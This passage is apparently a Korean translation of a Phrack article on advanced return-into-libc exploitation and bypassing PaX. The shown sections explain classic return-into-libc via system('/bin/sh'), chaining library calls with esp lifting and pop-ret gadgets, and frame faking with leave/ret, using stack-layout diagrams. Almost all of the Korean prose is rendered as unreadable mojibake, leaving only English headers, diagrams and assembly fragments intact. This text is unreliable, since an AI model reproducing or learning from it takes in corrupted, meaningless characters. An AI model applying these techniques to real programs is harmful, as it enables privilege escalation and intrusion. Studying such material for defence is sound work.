==Phrack Inc.== Volume 0x0b, Issue 0x3a, Phile #0x04 of 0x0e |=------------=[ The advanced return-into-lib(c) exploits: ]=------------=| |=------------------------=[ PaX case study ]=---------------------------=| |=-----------------------------------------------------------------------=| |=----------------=[ by Nergal ]=--------------=| |=-----------------[ ¹ø¿ª oprix < oprix@null2root.org> ]=--------------=| May this night carry my will And may these old mountains forever remember this night May the forest whisper my name And may the storm bring these words to the end of all worlds Ihsahn, "Alsvartr" * ÁÖÀÇ: ÀÌ ¹®¼­´Â °®°¡Áö ¿À¿ª°ú ÀÇ¿ªÀÌ ³­¹«ÇÔÀ» ¸ÕÀú ¾Ë·Áµå¸³´Ï´Ù. :) --[ 1 - Â÷·Ê 1 - Â÷·Ê 2 - °íÀüÀûÀÎ, c ¶óÀ̺귯¸®·Î ¸®ÅÏ(return-into-libc)ÇÏ´Â ¹æ¹ý 3 - ¿©·¯°³ÀÇ c ¶óÀ̺귯¸®¸¦ »ç¿ëÇÏ´Â ¹æ¹ý 3.1 - °íÀüÀûÀÎ Á¢±Ù ¹æ¹ýÀÇ ¹®Á¦Á¡ 3.2 - esp °ªÀ» ¿Ã¸®´Â ¹æ¹ý 3.3 - frame ¼ÓÀ̱â 3.4 - ³Î °ª Áý¾î ³Ö±â 3.5 - ¿ä¾à 3.6 - ¿¹Á¦ ÄÚµå 4 - PaX ÀÇ Æ¯Â¡ 4.1 - PaX ÀÇ ±âº» ³»¿ë 4.2 - Pax ¿Í return-into-lib ÀͽºÇ÷ÎÀÕ 4.3 - PaX ¿Í mmap ±âÁØ°ªÀÇ ³­¼öÈ­ 5 - µ¿Àû ¸µÄ¿ÀÇ dl-resolve ÇÔ¼ö 5.1 - ¾à°£ÀÇ ELF µ¥ÀÌŸ ŸÀÔ 5.2 - ¾à°£ÀÇ ELF µ¥ÀÌŸ ±¸Á¶ 5.3 - PLT¸¦ ÀÌ¿ëÇؼ­ dl-resolve ¸¦ ºÎ¸£´Â ¹ý 5.4 - °á·Ð 6 - PaX Ãë¾àÁ¡ ã±â 6.1 - ÇÊ¿äÇÑ ³»¿ë 6.2 - ÀͽºÇ÷ÎÀÕ ¸¸µé±â 7 - ±âŸ»çÇ× 7.1 - À̽ļº 7.2 - ´Ù¸¥ Á¾·ùÀÇ Ãë¾àÁ¡ 7.3 - ½ºÅÃÀ» non-exec·Î ¸¸µå´Â ´Ù¸¥ ¹æ¹ý 7.4 - non-exec ¹æ¹ý ¹ßÀü½ÃÅ°±â 7.5 - »ç¿ëÇÑ ¹öÀü 8 - Âü°í ºÐÇå ¹× ÇÁ·ÎÁ§Æ® °ü·Ã ÀÚ·á ÀÌ ¹®¼­´Â °£´ÜÇÏ°Ô 2 ºÎºÐÀ¸·Î ³ª´©¾îÁ® ÀÖ´Ù. ù ºÎºÐÀº ¹ßÀüµÈ, ¶óÀ̺귯¸®·Î ¸®ÅÏÇÏ´Â ¹ýÀ» ¼³¸íÇÑ´Ù. ±×¸®°í ±× Áß ¸î °³´Â, ´Ù¼Ò ºñ½ÁÇÑ °Í±îÁö Æ÷ÇÔÇؼ­ ´Ù¸¥ »ç¶÷µéÀÌ ¹ú½á ¹ßÇ¥Çß´Ù. ±×·¯³ª ¾òÀ» ¼ö ÀÖ´Â ÀÚ·áµéÀº ¿©·¯°÷¿¡ ³ª´©¾îÁ® ÀÖÀ» »Ó´õ·¯, ¶§¶§·Î ƯÁ¤ Ç÷§Æû¸¸ ÀÛµ¿µÇ°í ¾à°£ÀÇ Á¦¾àÀÌ ÀÖÀ¸¸ç, ÇÔ²² ÀÖ´Â ¼Ò½º Äڵ嵵 ¼³¸íÀÌ ÅξøÀÌ ºÎÁ·ÇÏ´Ù. ±×·¡¼­ ³ª´Â ÀÌ·± ÀÚ·áµéÀ» ¸ðÀ¸°í, °Å±â¿¡ ³» »ý°¢µéÀ» Áý¾î ³Ö¾î ·¹ÆÛ·±½º·Îµµ À¯¿ëÇÏ°Ô ¾µ ¼ö ÀÖ´Â ÀÌ ¹®¼­¸¦ ¸¸µé±â·Î °á½ÉÇß´Ù. º¸¾È °ü·Ã ¸ÞÀϸµ ¸®½ºÆ®¿¡ ¿Ã¶ó¿Â ¸¹Àº ±Ûµé¿¡¼­ ³»¿ëÀ» °¡Á®¿Ô±â ¶§¹®¿¡ ³»¿ëÀÌ ±×¸® ½¬¿î ÆíÀº ¾Æ´Ï´Ù. µÎ¹ø° ºÎºÐÀº ½ºÅà ±â¹Ý ¹öÆÛ ¿À¹öÇ÷οì( ³¡¿¡¼­ ´Ù·ê ´Ù¸¥ ÇüÅÂÀÇ Ãë¾àÁ¡ÀÌ´Ù.)ÀÇ °æ¿ì¿¡ PaX¸¦ ¿ìȸÇÏ´Â ¹æ¹ýÀ» ¼³¸íÇß´Ù. ½ºÅà ÁÖ¼Ò°¡ ³­¼öÈ­ µÇ°í ¶óÀ̺귯¸®°¡ mmap µÇ´ÂµîÀÇ, ÃÖ±Ù PaXÀÇ ¹ßÀüÀ¸·Î ÀͽºÇ÷ÎÀÕ ÀÛ¼ºÀÚ°¡ È°µ¿ÇϱⰡ Èûµé´Ù. Á÷Á¢ÀûÀ¸·Î µ¿Àû ¸µÄ¿ÀÇ ½Éº¼ Àüȯ °ªÀ» ºÎ¸£´Â ÃʱâÀÇ ¹æ¹ýµµ ÀÖ´Ù. ÀÌ ¹æ¹ýÀº ¸Å¿ì ÀϹÝÀûÀÌ°í ¼º°øÀûÀ¸·Î ÀͽºÇ÷ÎÀÕ Çϴµ¥ ÇÊ¿äÇÑ Á¶°ÇÀ» ½±°Ô ¸ÂÃâ ¼ö À־ ÁÁ´Ù. PaX °¡ ÀÎÅÚ Ç÷§Æû¿¡ Á¾¼ÓÀûÀ̱⠶§¹®¿¡ , ¿¹Á¦ ¼Ò½º ÄÚµå´Â Linux i386 glibc ¿ëÀ¸·Î ¸¸µé¾ú´Ù. PaX ´Â (¸ðµç Ç÷§Æû¿¡¼­) ³Î¸® ¾²ÀÏ Á¤µµ·Î ÁÁ°Ô ¸¸µé¾îÁöÁø ¾Ê¾Ò´Ù. ±×·¸Áö¸¸ ÀÎÅÚ X86 Ç÷§ÆûÀ» ±âÁØÀ¸·Î ¼³¸íÇÏ´Â ÀÌ ±â¼úµéÀ» ´Ù¸¥ OS³ª ¾ÆÅ°ÅØÃç·Î ½±°Ô À̽ÄÇÒ ¼ö ÀÖÀ» °ÍÀÌ°í ½ºÅÃÀ» ½ÇÇàÇÏ°Ô ÇÏÁö ¸øÇÏ´Â ¿©·¯ ¹æ¹ýµé, Çϵå¿þ¾î·Î ¸·´Â ¹æ¹ý±îÁöµµ ¿ìȸ ÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ÀÌ ±ÛÀ» Àбâ Àü¿¡ ±âº»ÀûÀÎ ÀͽºÇ÷ÎÀÕ¿¡ ´ëÇÑ Áö½ÄÀÌ ÀÖ¾î¾ß ÇÑ´Ù. ¹®¼­ [1] °ú [2] Á¤µµ´Â ¸ÕÀú ÀÐ¾î ºÃ¾î¾ß µÉ °ÍÀÌ´Ù. ¹®¼­ [12]´Â ½ÇÁ¦ ELF ³»ºÎ ±¸Á¶¿¡ ´ëÇÑ ³»¿ëÀ» ´ã°í ÀÖ´Ù. --] 2 - °íÀüÀûÀÎ, c ¶óÀ̺귯¸®·Î ¸®ÅÏÇÏ´Â ¹æ¹ý °íÀüÀûÀÎ, c ¶óÀ̺귯¸®·Î ¸®ÅÏÇÏ´Â ¹æ¹ýÀº ¹®¼­ [2]¿¡( ÀÌÇÏ ¹®¼­¶ó´Â ¸» »ý·«) Àß ¼³¸íµÇ¾î ÀÖ´Ù. ¿©±â¼± ´ë·«ÀûÀÎ ³»¿ë¸¸ ¼³¸íÇÑ´Ù. ÀÌ ¹æ¹ýÀº ½ºÅÃÀÇ ½ÇÇà¼Ó¼ºÀ» ¸·¾Æ ³õ´Â ½Ã½ºÅÛÀ» ¿ìȸÇÏ´Â ¹æ¹ýÀ¸·Î ¸¹ÀÌ »ç¿ëµÈ´Ù. ¸®Å쵃 À§Ä¡¸¦ ½ºÅÿ¡ µÎ´Â °ÍÀÌ ¾Æ´Ñ µ¿Àû ¶óÀ̺귯¸®°¡ ÀûÀçµÈ ¸Þ¸ð¸® Áß¿¡ Ãë¾àÇÑ ÇÔ¼ö·Î ¸®ÅÏÇÏ°Ô ÇÏ´Â °ÍÀÌ´Ù. ÀÌ ¹æ¹ýÀº ¾Æ·¡¿¡¼­ º¸´Â °Íó·³ ½ºÅÃÀ» ¿À¹öÇÃ·Î¿ì ½ÃÅ°¸é µÈ´Ù. <- ½ºÅÃÀÌ Ä¿Áö´Â ¹æÇâ ÁÖ¼Ò°¡ Ä¿Áö´Â ¹æÇâ -> -------------------------------------------------------------------------------------------- |¹öÆÛ°¡ °ªÀ¸·Î Â÷ÀÖÀ½(*)| ¶óÀ̺귯¸® ¾ÈÀÇ ÇÔ¼ö ÁÖ¼Ò | ´õ¹Ì int32 °ª| ÀÎÀÚ 1 | ÀÎÀÚ 2 | ... -------------------------------------------------------------------------------------------- ^ | - ÀÌ int32 °ªÀº Ãë¾àÇÑ ÇÔ¼öÀÇ ÀúÀåµÈ ¸®ÅÏ ÁÖ¼Ò¸¦ µ¤¾î½á¾ß ÇÑ´Ù. (*) °ªÀ¸·Î °¡µæÂù ¹öÆÛ´Â ¸¸¾à ÀúÀåµÈ %ebp ºÎºÐÀÌ »ç¿ëµÈ´Ù¸é °ªÀ¸·Î µ¤¾î ½á¾ß ÇÑ´Ù. ¿À¹öÇ÷οìµÈ ¹öÆÛ¸¦ Æ÷ÇÔÇÑ ÇÔ¼ö°¡ ¸®Åϵɶ§, ½ÇÇàÀº ¶óÀ̺귯¸® ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ °¡Áö°í ÀÖ´Â function_in_lib ºÎºÐÀ¸·Î ³Ñ¾î°£´Ù. ÀÌ ÇÔ¼öÀÇ °üÁ¡¿¡¼­ º¸¸é dummy_int32°ªÀº ¸®ÅÏÇÒ ÁÖ¼Ò¸¦ °¡¸®Å°¸ç ÀÎÀÚ 1 , ÀÎÀÚ 2´Â ÀÎÀÚ °ªµéÀÌ´Ù. ÀϹÝÀûÀ¸·Î ¾²ÀÌ´Â ¶óÀ̺귯¸® ¾ÈÀÇ ÇÔ¼ö Áּҷδ system() ÇÔ¼öÀÇ ÁÖ¼Ò°¡ »ç¿ëµÇ¸ç. ÀÎÀÚ 1Àº "/bin/sh"¸¦ °¡¸®Å²´Ù. --[ 3 - ¿©·¯°³ÀÇ c ¶óÀ̺귯¸®¸¦ »ç¿ëÇÏ´Â ¹æ¹ý ----[ 3.1 - °íÀüÀûÀÎ Á¢±Ù ¹æ¹ýÀÇ ¹®Á¦Á¡ 2Àå¿¡¼­ ¼³¸íÇß´ø ±â¼úÀº µÎ °¡Áö ½É°¢ÇÑ Á¦¾àÀÌ ÀÖ´Ù. ù¹ø°·Î ¶óÀ̺귯¸® ¾ÈÀÇ ÇÔ¼ö¸¦ ½ÇÇàÇÑ ÈÄ¿¡ ÀÎÀÚ°¡ ÇÊ¿äÇÑ ´Ù¸¥ ÇÔ¼ö¸¦ ºÎ¸£´Â°Ô ºÒ°¡´ÉÇÏ´Ù. ¿Ö ±×·²±î? ¶óÀ̺귯¸®ÀÇ ÇÔ¼ö°¡ ¸®ÅÏµÈ ÈÄ¿¡ , ½ÇÇàÀº dummy_int32 ÀÇ ÁÖ¼Ò·Î °è¼ÓµÈ´Ù. ±×¸®°í ¶Ç ´Ù¸¥ ¶óÀ̺귯¸®¾ÈÀÇ ÇÔ¼ö¸¦ ºÒ·¯³½´Ù. ±×·¸Áö¸¸ ±× ÇÔ¼ö¿¡ ÀÎÀÚ °ªÀ¸·Î ¶óÀ̺귯¸® ¾ÈÀÇ ÇÔ¼ö¿¡ »ç¿ëµÇ¾ú´ø ÀÎÀÚ °ªµéÀÌ µé¾î°£´Ù. ¹°·Ð , ¶§¶§·Î ÀÌ °Ç º°¹®Á¦°¡ ¾Æ´Ò°æ¿ìµµ ÀÖ´Ù. ( [3] À» º¸¸é °£´ÜÇÑ ¿¹Á¦°¡ ÀÖ´Ù. ) ÇÑ°³ º¸´Ù´Â ¿©·¯°³ÀÇ ÇÔ¼ö È£ÃâÀÌ ÇÊ¿äÇÑ °æ¿ì¸¦ »ý°¢ÇØ º¸ÀÚ. ¸¸¾à Ãë¾àÇÑ ÇÁ·Î±×·¥ÀÌ ÀÓ½ÃÀûÀ¸·Î ³·Àº ±ÇÇÑÀ¸·Î ÀÛµ¿µÉ¶§, ( ¿¹·Î, setuid ¸¦ °¡Áø ÇÁ·Î±×·¥Àº seteuid(getuid())) ¸¦ ½ÇÇàÇÒ ¼ö ÀÖ´Ù.) ÀÌ °æ¿ì ÀͽºÇ÷ÎÀÕÀº system() ÇÔ¼ö¸¦ ÀÛµ¿½ÃÅ°±â Àü¿¡ ´Ù½Ã ³ôÀº ±ÇÇÑÀ¸·Î ( setuid¸¦ »ç¿ëÇؼ­) µ¹·Á ³õ°í ÀÛµ¿ÇØ¾ß ÇÑ´Ù. µÎ¹ø° Á¦¾àÀº function_in_lib´Â ÀÎÀÚ°ªÀ¸·Î ³Î¹®ÀÚ¸¦ °¡Áú¼ö ¾ø´Ù´Â Á¡ÀÌ´Ù. ( ÀüÇüÀûÀÎ ¿À¹öÇ÷οì´Â ¹®ÀÚ¿­À» ´Ù·ç´Â ºÎºÐ¿¡¼­ ÀϾ±â ¶§¹®ÀÌ´Ù.) ¿©·¯°³ÀÇ ÇÔ¼ö È£ÃâÀ» ¸·´Â µÎ°¡Áö ¹æ¹ýÀÌ ÀÖ´Ù. ----[ 3.2 - esp °ªÀ» ¿Ã¸®´Â ¹æ¹ý ÀÌ ¹æ¹ýÀº -fomit-frame-pointer Ç÷¡±×¸¦ ÀÌ¿ëÇؼ­ ÄÄÆÄÀÏÇÑ ¹ÙÀ̳ʸ®¸¦ °ø°ÝÇÒ¶§ »ç¿ëÇÑ´Ù. ÀÌ °æ¿ì¿¡ ´ëºÎºÐ ÇÔ¼öÀÇ ³¡ºÎºÐÀÌ ¾Æ·¡¿Í °°Àº Çü½ÄÀ» °¡Áø´Ù. eplg: addl $LOCAL_VARS_SIZE,%esp ret f1 °ú f2°¡ ¶óÀ̺귯¸® ¾È¿¡ ÀÖ´Â ÇÔ¼öµéÀÇ ÁÖ¼Ò¶ó°í °¡Á¤Çϸé, ¿ì¸®´Â ´ÙÀ½°ú °°Àº ¿À¹öÇÃ·Î¿ì ¹®ÀÚ¿­À» ¸¸µé ¼ö ÀÖ´Ù.( ¹öÆÛ°¡ ²ËÂù ¾Õ ºÎºÐÀº »ý·«Çß´Ù) <- ½ºÅÃÀÌ ÀÚ¶ó´Â ¹æÇâ ÁÖ¼Ò°ªÀÌ Ä¿Áö´Â ¹æÇâ -> --------------------------------------------------------------------------- | f1 | eplg | f1_arg1 | f1_arg2 | ... | f1_argn| PAD | f2 | dmm | f2_args... --------------------------------------------------------------------------- ^ ^ ^ | | | | | <---------LOCAL_VARS_SIZE------------->| | |-- Ãë¾àÇÑ ÇÔ¼öÀÇ ¸®ÅÏ ÁÖ¼Ò ºÎºÐÀ» µ¤¾î½á¾ß ÇÑ´Ù. PAD ºÎºÐÀº ÆеùÀÌ´Ù.( ³Î°ªÀÌ ¾Æ´Ñ °ªÀ¸·Î ÀÌ·ç¾î Á³´Ù) f1 ÀÎÀÚ °ª°ú ÆеùÀÇ ±æÀ̸¦ ´õÇÑ °ªÀº LOCAL_VARS_SIZE °ª°ú °°¾Æ¾ß ÇÑ´Ù. ÀÌ°ÍÀº ¾î¶»°Ô ÀÛµ¿µÉ±î? Ãë¾àÇÑ ÇÔ¼ö°¡ ÀÎÀÚ°¡ f1_arg2, f1_arg2·Î ¼³Á¤µÈ f1 À¸·Î ¸®ÅϵǸé f1Àº eplg ·Î ¸®ÅÏÇÏ°Ô µÈ´Ù. "addl $LOCAL_VARS_SIZE,%esp" ¸í·ÉÀ¸·Î LOCAL_VARS_SIZE ¸¸Å­ ½ºÅà Æ÷ÀÎÅÍ°¡ À̵¿Çؼ­ f2 ÀÇ ÁÖ¼Ò¸¦ °¡¸®Å°´Â ºÎºÐÀ» °¡¸®Å°°Ô µÈ´Ù. ret ¸í·ÉÀ¸·Î ½ÇÇàÀº ÀÎÀÚµé·Î f2_args ¸¦ °¡Áø ÇÔ¼ö f2 ·Î °è¼ÓµÈ´Ù. ÀÌ·¸µí µÎ°³ÀÇ ÇÔ¼ö¸¦ Â÷·Ê·Î È£Ãâ ÇÒ ¼ö ÀÖ´Ù. ÀÌ¿Í ºñ½ÁÇÑ ¹æ¹ýÀÌ [5]¿¡ ³ª¿Í ÀÖ´Ù. ÀϹÝÀûÀÎ ÇÔ¼öÀÇ epilogue ºÎºÐÀ» »ç¿ëÇÏ´Â ´ë½Å ¶óÀ̺귯¸®³ª ÇÁ·Î±×·¥¿¡¼­ ¾Æ·¡¿Í °°Àº ¸î°³ÀÇ ¸í·ÉÀÌ ÀÖ´Â ºÎºÐÀ» ã´Â´Ù. pop-ret: popl any_register ret ÀÌ·¯ÇÑ ¸í·É ¼ø¼­´Â ³¡ºÎºÐ¿¡¼­ ÄÄÆÄÀÏ·¯ÀÇ ÃÖÀûÈ­ÀÇ °á°ú·Î »ý¼ºµÈ´Ù. ÈçÈ÷ ÀÖ´Â ÀÏÀÌ´Ù. ½ºÅÃÀ» ´ÙÀ½°ú °°Àº ÇüÅ·Π¸¸µé ¼ö ÀÖ´Ù. <- ½ºÅÃÀÌ ÀÚ¶ó´Â ¹æÇâ ÁÖ¼Ò°ªÀÌ Ä¿Áö´Â ¹æÇâ -> ------------------------------------------------------------------------------ | buffer fill-up | f1 | pop-ret | f1_arg | f2 | dmm | f2_arg1 | f2_arg2 ... ------------------------------------------------------------------------------ ^ | - Ãë¾àÇÑ ÇÔ¼öÀÇ ¸®ÅÏ ÁÖ¼Ò ºÎºÐÀ» µ¤¾î ½á¾ß ÇÑ´Ù. ¾ÕÀÇ ¿¹Á¦¿Í ºñ½ÁÇÑ ¼ø¼­·Î µ¿ÀÛÇÑ´Ù. LOCAL_VARS_SIZE ¸¸Å­ ½ºÅà Æ÷ÀÎÅ͸¦ ¿Å±â´Â ´ë½Å, "popl any_register" ¸í·ÉÀ¸·Î 4 ¹ÙÀÌÆ® ¸¸Å­ À̵¿ÇÑ´Ù. µû¶ó¼­ f1¿¡ ³Ñ±æ ¼ö ÀÖ´Â ÀÎÀÚ´Â 4 ¹ÙÀÌÆ® °ªÀÌ´Ù. ¸¸¾à ¾Æ·¡¿Í °°Àº ¸í·É ¼ø¼­¸¦ ãÀ» ¼ö ÀÖ´Ù¸é pop-ret2: popl any_register_1 popl any_register_2 ret 2°³ÀÇ 4¹ÙÀÌÆ® ÀÎÀÚ¸¦ ³Ñ°Ü ÁÙ ¼ö ÀÖ´Ù. popl À» ÀÌ¿ëÇÑ ±â¼úÀÇ ¹®Á¦Á¡Àº 3°³ ÀÌ»óÀÇ popÀ» »ç¿ëÇÑ "pop-ret" ¸í·É ÇüŸ¦ ã±â°¡ Èûµé´Ù´Â Á¡ÀÌ´Ù. µû¶ó¼­ ¶§¶§·Î eplg ¹æ¹ý¸¸ »ç¿ëÇØ¾ß ÇÒ¶§µµ ÀÖ´Ù. [6] ¿¡¼­ »ç¿ëÇÑ ¹æ¹ýµµ ÀÌ¿Í ºñ½ÁÇÏ´Ù. ¸î°³ÀÇ ¿¡·¯°¡ ÀÖ°í Áß¾ðºÎ¾ð ÇÑ´Ù´Â ¹®Á¦°¡ ÀÖÁö¸¸. ÀÌ·± ¹æ¹ýÀ¸·Î ¿©·¯°³ÀÇ ÇÔ¼ö¸¦ ½ÇÇàÇÒ ¼ö ÀÖ´Ù. °Ô´Ù°¡ ¿ì¸®°¡ ÀÓÀÇ ¸¸µç ºÎºÐÀÌ À§Ä¡ÇÏ´Â ÁÖ¼Ò¸¦ ¾Ë ÇÊ¿ä°¡ ¾ø´Ù´Â Á¡µµ ±â¾ïÇÏÀÚ. ( ½ºÅà Æ÷ÀÎÅÍÀÇ Á¤È®ÇÑ °ªÀ» ¾Ë ÇÊ¿ä°¡ ¾ø´Ù´Â Á¡ÀÌ´Ù, ) ¹°·Ð ÇÔ¼öµé¿¡¼­ ¾î¶² °ÍÀº ÀÎÀÚ °ªÀÇ ÁÖ¼Ò¸¦ ÇÊ¿ä·Î ÇÏ°í ÀÌ Æ÷ÀÎÅÍ°¡ ÀÓÀÇ·Î ¸¸µç ºÎºÐÀ» °¡¸®Å°¾ß µÈ´Ù¸é, À§Ä¡¸¦ ¾Ë¾Æ¾ß ÇÑ´Ù. ----[ 3.3 - ÇÁ·¹ÀÓ ¼ÓÀ̱â([4]¸¦ º¸¶ó) ÀÌ µÎ¹ø° ±â¼úÀº -fomit-frame-pointer ¿É¼Ç¾øÀÌ ÄÄÆÄÀÏµÈ ÇÁ·Î±×·¥À» °ø°ÝÇÒ¶§ »ç¿ëÇÑ´Ù. ÀÌ·± ÇÁ·Î±×·¥ÀÇ ÇÔ¼öÀÇ ³¡ºÎºÐÀº ´ÙÀ½°ú °°Àº ¸í·É ¼ø¼­·Î µÇ¾îÀÖ´Ù. leaveret: leave ret ÃÖÀûÈ­¸¦ Çϰųª ¸»°Å³ª, gcc´Â Ç×»ó ret ¾Õ¿¡ leave¸¦ ³õ¾ÆµÐ´Ù. µû¶ó¼­ À¯¿ëÇÑ "esp lifting"ÀÌ Àû¿ëµÇ´Â ºÎºÐÀ» ã±â À§Çؼ­ ¹ÙÀ̳ʸ® °÷°÷À» µÚÁú ÇÊ¿ä´Â ¾ø´Ù. ( ±×·¯³ª 3.5 ÀýÀÇ ³¡ºÎºÐµµ Âü°íÇ϶ó). ½ÇÀº ¶§¶§·Î libgcc.a¿£ -fomit-frame-pointer ¿É¼ÇÀ¸·Î ÄÄÆÄÀÏµÈ ¿ÀºêÁ§Æ® ÆÄÀÏÀ» Æ÷ÇԵǾî ÀÖ´Ù. ÄÄÆÄÀÏ ÇÏ´Â µ¿¾È, libgcc.a ´Â ±âº»ÀûÀ¸·Î ½ÇÇàÆÄÀÏ¿¡ ¸µÅ©°¡ µÈ´Ù. µû¶ó¼­ ¾à°£ÀÇ "add $imm, %esp" ºÎºÐÀ» ã´Â °Ô °¡´ÉÇÏ´Ù. ±×·¯³ª gcc ¹öÀü°ú ÄÄÆÄÀÏ¿¡ »ç¿ëµÈ ¿É¼Ç°°Àº ¸¹Àº º¯¼ö°¡ ÀÖ´Â ÀÌ·± gcc ¸¸ÀÇ Æ¯Â¡¿¡ ÀÇÁ¸ÇÑ´Ù´Â °Ç ÇϳªÀÇ ¸ðÇèÀÌ´Ù. "esp lifting" ºÎºÐÀ¸·Î ¸®ÅϵǴ ´ë½Å¿¡ leaveret ºÎºÐÀ¸·Î ¸®ÅÏÇÑ´Ù. ¿À¹öÇÃ·Î¿ì µÈ ¸Þ¸ð¸® ºÎºÐÀº ³í¸®ÀûÀ¸·Î ³ª´²Áø ¸î°³ÀÇ ºÎºÐÀ¸·Î ÀÌ·ç¾îÁø´Ù. ´ë°³´Â ÀͽºÇ÷ÎÀÕ Äڵ嵵 ÇÔ²² À§Ä¡ÇÑ´Ù. <- ½ºÅÃÀÌ ÀÚ¶ó´Â ¹æÇâ ÁÖ¼Ò°ªÀÌ Ä¿Áö´Â ¹æÇâ -> ÀúÀåµÈ ÇÁ·¹ÀÓ Æ÷ÀÎÅÍ Ãë¾àÇÑ ÇÔ¼öÀÇ ¸®ÅÏ ÁÖ¼Ò°ª -------------------------------------------- | buffer fill-up(*) | fake_ebp0 | leaveret | -------------------------|------------------ | +---------------------+ (*) ÀÌ °æ¿ì ¹öÆÛ°¡ ³ÑÃļ­ ¾û¶×ÇÑ °ªÀÌ | ÇÁ·¹ÀÓ Æ÷ÀÎÅÍ ºÎºÐÀ» µ¤¾î ¾²°Ô ÇÏ¸é ¾È µÈ´Ù. v ----------------------------------------------- | fake_ebp1 | f1 | leaveret | f1_arg1 | f1_arg2 ... -----|----------------------------------------- | the first frame +-+ | v ------------------------------------------------ | fake_ebp2 | f2 | leaveret | f2_arg1 | f2_argv2 ... -----|------------------------------------------ | the second frame +-- ... Á¶ÀÛµÈ ebp0Àº ù¹ø° ÇÁ·¹ÀÓÀÇ ÁÖ¼Ò¸¦ °¡¸®Å°¸ç, Á¶ÀÛµÈ ebp1Àº µÎ¹ø° ÇÁ·¹ÀÓÀÇ ÁÖ¼Ò¸¦ °¡¸®Å²´Ù. ½ÇÇàµÇ´Â ¼ø¼­¸¦ ¸Ó¸®·Î ±×·Áº¸¸ç »ý°¢ÇØ º¸ÀÚ. 1) Ãë¾àÇÑ ÇÔ¼öÀÇ ³¡ºÎºÐ( leave; ret ºÎºÐ)Àº Á¶ÀÛµÈ ebp0À» %ebp ¿¡ ³Ö°í leaveret À» ÀÌ¿ëÇØ ¸®ÅÏÇÑ´Ù. 2) ´ÙÀ½¿¡ ÀÛµ¿µÇ´Â 2°³ÀÇ ¸í·É(leave;ret)Àº %ebp ¿¡ Á¶ÀÛµÈ ebp1°ªÀ» ³Ö°í f1 À¸·Î ¸®ÅÏÇÑ´Ù. f1 ¿¡ ¾Ë¸ÂÀº Àμö¸¦ ¸ÕÀú ¸¸µé¾î ³õ¾Æ¾ß ÇÑ´Ù. 3) f1 ÀÌ ½ÇÇàµÇ°í ¸®ÅÏÇÑ´Ù. 2) ¿Í 3) ¿ª½Ã ¸¶Âù°¡Áö ¹æ¹ýÀ¸·Î ÀÛµ¿ÇÑ´Ù. [4]¿¡¼­´Â ÇÔ¼öÀÇ ³¡ºÎºÐÀ» ÀÌ¿ëÇÏÁö ¾Ê°í, ´ë½Å¿¡ ´ÙÀ½°ú °°Àº °É Á¦¾ÈÇß´Ù. F°¡ ½ÇÇàµÇ´Â µµÁß¿¡ ½ºÅÃÀÇ ³»¿ëÀ» ¹Ù²ã¼­ F ±×ÀÚü·Î ¸®ÅÏÇÏ´Â°Ô ¾Æ´Ñ Àû´çÇÑ °÷À¸·Î µÇµµ·Ï ½ºÅÃÀ» ¸¸µå´Â °ÍÀÌ´Ù. ÀÌ°Ç ¾ÕÀÇ ¹æ¹ý°ú À¯»çÇÑ ¹æ¹ýÀ¸·Î ÀÛµ¿µÈ´Ù. ±×·¯³ª, °ð PLT ¸¦ ÅëÇؼ­¸¸ F¿¡ µµ´ÞÇÏ´Â »óȲ¿¡ ºüÁú °ÍÀÌ´Ù. ÀÌ °æ¿ì F¿¡ ¾î¶² °ªÀ» ´õÇÑ ÁÖ¼Ò¸¦ ¸®ÅÏÇÑ´Ù´Â °Ç ºÒ°¡´ÉÇÏ´Ù; ´ÜÁö ¾Õ¿¡¼­ ¼³¸íÇÑ ¹æ¹ý¸¸ÀÌ ÀÛµ¿µÉ °ÍÀÌ´Ù.( »çÁ·À» ´ÞÀÚ¸é, PLT ´Â "procedure linkage table"À» ¾ê±âÇϸç, ¾Æ·¡¿¡µµ ¸î ¹ø ³ª¿Ã °ÍÀÌ´Ù. ÀÌ ´Ü¾î°¡ Àͼ÷ÇÏÁö ¾Ê´Ù¸é ¼º±ÞÇÑ »ç¶÷Àº [3]ÀÇ Ã¹ºÎºÐÀ» Âü°íÇÏ°í, Á» ´õ ±¸Á¶ÀûÀ¸·Î ÀÚ¼¼ÇÏ°Ô ¾Ë°í ½ÍÀ¸¸é [12]¸¦ º¸¶ó). ÇÁ·¹ÀÓµéÀÇ ³»¿ëÀ» ¾Ë¸Â°Ô Á¶ÀÛÇØ¾ß ÇϹǷÎ, ÀÌ ±â¼úÀ» »ç¿ëÇÏ·Á¸é Á¶ÀÛÇÒ ÇÁ·¹ÀÓÀÇ Á¤È®ÇÑ À§Ä¡¸¦ ¾Ë¾Æ¾ß ÇÑ´Ù. ¸¸¾à ¸ðµç ÇÁ·¹ÀÓÀÌ ¹öÆÛ°¡ ä¿öÁø ´ÙÀ½¿¡ À§Ä¡ÇÑ´Ù¸é, ±× ¶§´Â ¿À¹öÇÃ·Î¿ì µÈ ´ÙÀ½ÀÇ %esp °ªÀ» ¾Ë¾Æ¾ß ÇÑ´Ù. ±×·¯³ª ¸¸¾à ¸Þ¸ð¸®ÀÇ ¾Ë·ÁÁø ºÎºÐ¿¡ Á¶ÀÛµÈ ÇÁ·¹ÀÓÀ» ³ÖÀ» ¼ö ÀÖ´Ù¸é( Á¤Àû º¯¼öµéÀÌ ¾²ÀδÙ) ½ºÅà Æ÷ÀÎÅÍ °ªÀ» ¿¹ÃøÇÒ ÇÊ¿ä°¡ ¾ø´Ù. -fomit-frame-pointer¸¦ ÀÌ¿ëÇؼ­ ÄÄÆÄÀÏµÈ ÇÁ·Î±×·¥¿¡ ÀÌ ±â¼úÀ» »ç¿ëÇÏ´Â °Íµµ °¡´ÉÇÏ´Ù. ÀÌ °æ¿ì leave&ret ÄÚµå ºÎºÐÀ» ãÀ» ¼ö´Â ¾ø°í, ±×·¯³ª ÈçÈ÷ ÇÁ·Î±×·¥¿¡ ¸µÅ©µÈ ½ÃÀÛ·çƾ(crtbegin.o)¿¡¼­ ãÀ» ¼ö ÀÖ´Ù. ¶ÇÇÑ , "zeroth" chuck ¸¦ ¹Ù²ã¾ß ÇÑ´Ù. ------------------------------------------------------- | buffer fill-up(*) | leaveret | fake_ebp0 | leaveret | ------------------------------------------------------- ^ | |-- Ãë¾àÇÑ ÇÔ¼öÀÇ ¸®ÅÏ ºÎºÐÀº µ¤¾î ½á¾ßÇÑ´Ù. Ãë¾àÇÑ ÇÔ¼ö´Â ¸®ÅÏÇÒ¶§¿¡ %ebp °ªÀ» ¼³Á¤ÇØ ÁÖÁö ¾ÊÀ¸¹Ç·Î, 